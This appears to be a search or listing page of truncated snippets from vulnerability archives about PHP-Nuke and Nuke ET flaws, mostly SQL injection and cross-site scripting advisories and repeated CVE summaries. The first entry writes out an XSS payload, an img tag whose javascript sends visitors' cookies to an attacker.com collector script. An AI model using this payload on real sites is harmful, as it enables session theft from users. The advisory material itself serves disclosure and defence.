Php-Nuke Pool and News Module IMG Tag Cross Site

NightWarriorKurdihs Hacker nightwarrior771athotmail.com Php-Nuke Pool and News Module IMG Tag Cross Site Scripting Contact :nightwarrior771athotmail.com Post Coment this Code: img src="javascript:window.navigate'http://attacker.com/cookies.php?c='+document.cookie;" cookies.php $cookie = $GET'c';...

phpnukePoolXSS.txt

NightWarrior nightwarrior771athotmail.com Php-Nuke Pool and News Module IMG Tag Cross Site Scripting Contact :nightwarrior771athotmail.com Post Coment this Code:...

PHP-Nuke 7.7 EV Search Module - SQL Injection

source: https://www.securityfocus.com/bid/16186/info PHPNuke EV is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the application, access or...

CVE-2005-4781

Multiple SQL injection vulnerabilities in SergiDs Top Music module 3.0 PR3 and earlier for PHP-Nuke allow remote attackers to execute arbitrary SQL commands via the 1 idartist, 2 idsong, and 3 idalbum parameters to modules.php...

CVE-2005-4715

Multiple SQL injection vulnerabilities in modules.php in PHP-Nuke 7.8, when magicquotesgpc is disabled, allow remote attackers to execute arbitrary SQL commands via the 1 name, 2 sid, and 3 pid parameters in a POST request, which bypasses security checks that are performed for GET requests...

CVE-2005-4260

Interpretation conflict in includes/mainfile.php in PHP-Nuke 7.9 and later allows remote attackers to perform cross-site scripting XSS attacks by replacing the "" in the tag with a "", which bypasses the regular expressions that sanitize the data, but is automatically corrected by many web...

CVE-2005-4260

CVE-2005-4260 is an XSS vulnerability in PHP-Nuke 7.9 and later, where an interpretation conflict in includes/mainfile.php allows remote attackers to inject scripts by replacing the ">" with "

bypassXSSnuke.txt

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Bypass XSS filter in PHPNUKE 7.9=x cXIb8O3.21 Author: Maksymilian Arciemowicz cXIb8O3 Date: 14.12.2005 from SECURITYREASON.COM - --- 0.Description --- PHP-Nuke is a Web Portal System, storytelling software, news system, online community or whatever yo...

PHP-Nuke 7.x - Content Filtering Bypass

source: https://www.securityfocus.com/bid/15855/info PHPNuke is prone to a content filtering bypass vulnerability. This issue can allow an attacker to bypass content filters and potentially carry out cross-site scripting, HTML injection and other attacks. PHPNuke 7.9 and prior versions are report...

NukeETSQL32.txt

Nuke ET 'search' module 'query' variable SQL injection Vendor url: www.truzone.org exploit available:yes vendor notify:yes advisore:http://lostmon.blogspot.com/2005/11/ nuke-et-search-module-query-variable.html Nuke ET have a flaw which can be exploited by malicious people to conduct SQL injectio...

Top Music Module 3.0 - SQL Injection

Top Music Module 3.0 - SQL Injection source: https://www.securityfocus.com/bid/15581/info Top Music Module for PHP-Nuke is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query...

Top Music module for PHP Nuke SQL inj. vuln

Top Music module for PHP Nuke SQL inj. vuln Vuln. dicovered by : r0t Date: 28 nov. 2005 orginal advisory:http://pridels.blogspot.com/2005/11/top-music-module-for-php-nuke-sql-inj.html Vendor:http://www.sergids.com/ affected version:3.0 PR3 and prior Product Description: This is a module for PHPNu...

CVE-2005-3792

Multiple SQL injection vulnerabilities in the Search module in PHP-Nuke 7.8, and possibly other versions before 7.9 with patch 3.1, allows remote attackers to execute arbitrary SQL commands, as demonstrated via the query parameter in a stories type...

CVE-2005-3792

Multiple SQL injection vulnerabilities in the Search module in PHP-Nuke 7.8, and possibly other versions before 7.9 with patch 3.1, allows remote attackers to execute arbitrary SQL commands, as demonstrated via the query parameter in a stories type...

CVE-2005-3792

CVE-2005-3792 corresponds to SQL injection in the PHP-Nuke 7.8 Search module (and possibly earlier versions) that allows remote execution of arbitrary SQL commands via the query parameter in a stories type. Affected software is PHP-Nuke 7.8 with patch 3.1, and other versions before 7.9 may be vul...

[SA17638] Nuke ET "query" SQL Injection Vulnerability

TITLE: Nuke ET "query" SQL Injection Vulnerability SECUNIA ADVISORY ID: SA17638 VERIFY ADVISORY: http://secunia.com/advisories/17638/ CRITICAL: Moderately critical IMPACT: Manipulation of data WHERE: From remote SOFTWARE: Nuke ET 3.x http://secunia.com/product/5075/ DESCRIPTION: Lostmon has...

CVE-2005-3748

SQL injection vulnerability in the Search module in Tru-Zone Nuke ET 3.2, and possibly earlier versions, allows remote attackers to execute arbitrary SQL commands via the query parameter...

CVE-2005-3748

CVE-2005-3748 describes an SQL injection in the Search module of Tru-Zone Nuke ET 3.2 (and possibly earlier versions). The vulnerability allows remote attackers to manipulate the database by injecting SQL via the query parameter. The NVD entry records a CVSS v2 base score of 7.5 (HIGH) with netwo...

CVE-2005-3748

SQL injection vulnerability in the Search module in Tru-Zone Nuke ET 3.2, and possibly earlier versions, allows remote attackers to execute arbitrary SQL commands via the query parameter...

Tru-Zone Nuke ET 3.x - Search Module SQL Injection

source: https://www.securityfocus.com/bid/15519/info Nuke ET is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could result in a compromise of the...